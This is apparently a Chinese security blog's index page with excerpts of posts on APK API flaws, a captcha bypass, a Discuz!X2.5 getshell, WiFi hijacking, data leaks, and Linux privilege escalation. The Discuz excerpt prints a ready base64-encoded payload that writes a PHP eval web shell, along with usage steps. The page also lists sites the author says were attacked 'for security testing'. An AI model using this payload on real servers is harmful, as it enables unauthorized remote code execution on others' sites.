攻陷某APK后台（接口的隐患）
攻陷某APK后台（接口的隐患） 作者:0x80Api的接口，APK后台密码完全不知道我们应该怎么办呢？触发上面这个按钮的 click 事件。通过手机截取发现一个重要的地址，爬到一个接口类似一个测试接口看下代码就知道了 &nbs...
手机APK利用JSON绕过验证码登陆漏洞
手机APK利用JSON绕过验证码登陆漏洞 作者：0x80这个思路简单讲讲网站系统中我们明显看到了这样一段很明显是加过密的这样就能够难到我们吗，有的人可能想到了验证码爆破这个网站验证码6位，随便做一个就是上百万的字典，完全没必要其实我们通过网站系统对应的APK接口同样也做一次这样的动作、然后展开JSON我们发现了猫腻，可以发现网站系统验证码虽然加密了但是APK并没有加密，直接绕过登录...
企业ERP系统面临的网络安全威胁
企业ERP系统面临的网络安全威胁一、ERP系统信息安全威胁安全问题的产生是一个非常复杂的问题，包含了多种因素的相互作用。总结起来，企业ERP系统所面临的信息安全威胁主要包括来自以下几个方面的内容：（一）ERP网络应用的威胁。来自网络层面的威胁主要来自远程访问企业内部系统所造成的信息泄漏隐患。随着企业规模的不断扩展，对外的销售和物流网络也随之扩大，出差的业务员和某些客户经常需要在异地远程访问企业网络资源。为此，ERP专门提供了B/S的访问模式，使得异地用户能够使用浏览器通过虚拟...
Discuz!X2.5 Release20120407版命令执行漏洞Getshell
Discuz!X2.5 Release20120407版命令执行漏洞Getshell利用方法1.注册任意账户2.登陆用户，发表blog日志（注意是日志）3.添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}4.访问日志，论坛根目录下生成demo.php，一句话密码C...
“WIFI可破解 5分钟控制用户微博”追踪
“WIFI可破解 5分钟控制用户微博”追踪家中WIFI五分钟“劫持”网内账户实验目的：测试家中WIFI内，利用黑客软件是否可以“劫持”其他网内用户资料。实验背景：在同一WIFI网内，“Evi1m0”使用一款黑客软件对另一台电脑上已登录的微博账号实施“劫持”，成功控制该微博账号的演示。实验过程：按照“Evi1m0”的演示步骤，记者首先找来一台已经越狱的智能手机，将两款必备的黑客软件安装进手机。随后，记者将手机接入家中的WIFI，同时接入一台IP尾号为119的电脑，并在电脑上登入...
京东信息泄露12G用户数据泄露 源自2013年Struts 2漏洞
京东信息泄露12G用户数据泄露 源自2013年Struts 2漏洞一本财经”昨日发布文章《京东数据疑似外泄：超过12个G，涉及数千万用户》，称最近黑市上有一12G的数据包开始流通，其中包括用户名、密码、邮箱、QQ号、电话号码、身份证等多个维度，数据多达数千万条。黑市买卖双方表示这些数据来自京东，而京东表示正紧急核实数据真伪。目前，京东得出初步结论。2013年7月的Struts 2漏洞CVE-2013-2251京东表示，经其信息安全部门依据报道内容初步判断，该数据源于2013年...
工业和信息化部关于开展互联网基础管理专项行动的通知
工业和信息化部关于开展互联网基础管理专项行动的通知附件：互联网基础管理专项行动工作方案工业和信息化部2016年11月28日 互联网基础管理专项行动工作方案 一、指导思想为贯彻习近平总书记系列重要讲话精神，落实全国社会治安综合治理创新工作会议提出的要求，为党的“十九大”胜利召开营造清朗网络空间环境，我部决定开展互联网基础管理专项行动，继续强化网站备案、IP地址、域名等互联网基础管理，提升技术能力，完善长效机制，...
韩军内网被黑客攻破 为网络司令部成立以来首次
韩军内网被黑客攻破 为网络司令部成立以来首次
被黑一事透露，入侵韩军内网的黑客们所用攻击代码与此前朝鲜黑客常用代码类似，军方因此怀疑本案系朝鲜黑客所为。朝鲜黑客2014年窃取韩国水电与核电公司核电站工程设计图时，也曾留下蛛丝马迹。韩军一直声称内部国防网与外部互联网安全隔离，但经查，部分内网计算机同时使用内网和外网使黑客有机可乘。韩国国防部相关人士5日曾透露，韩国军队内部部分电脑遭受来源不明的恶性代码攻击，就军方联合调查组的调查结果显...
曾经安全检测的“黑客站”
官方声明：以后绝不主动攻击任何网站，或者服务器，APK曾经安全检测端掉的“黑客站”
黑客风云官网（纯属安全检测）非凡安全网（纯属安全检测）柒瑞官方论坛（纯属安全检测）今生情缘黑客网（纯属安全检测）戴威尔安全培训网（纯属安全检测）
梦想黑客联盟网（纯属安全检测）93安全小组官网（纯属安全检测）LEC安全组官网（纯属安全检测）黑客防线（纯属安全检测）...
奇葩的linux一次提权
奇葩的linux一次提权 作者 ：0x80找对应的EXPPHP上反弹不过内核是比较变态的没有对应的EXPLinux li410-218 3.11.6-x86-linode54 #1 SMP Wed Oct 23 15:22:49 EDT 2013 i686 i686 i386 GNU/Linux我们简单演示下执行过程，随便找1个3.X编译好的文件传到TMP目录下执行下赋予权限失败了找到上传的332文件执行...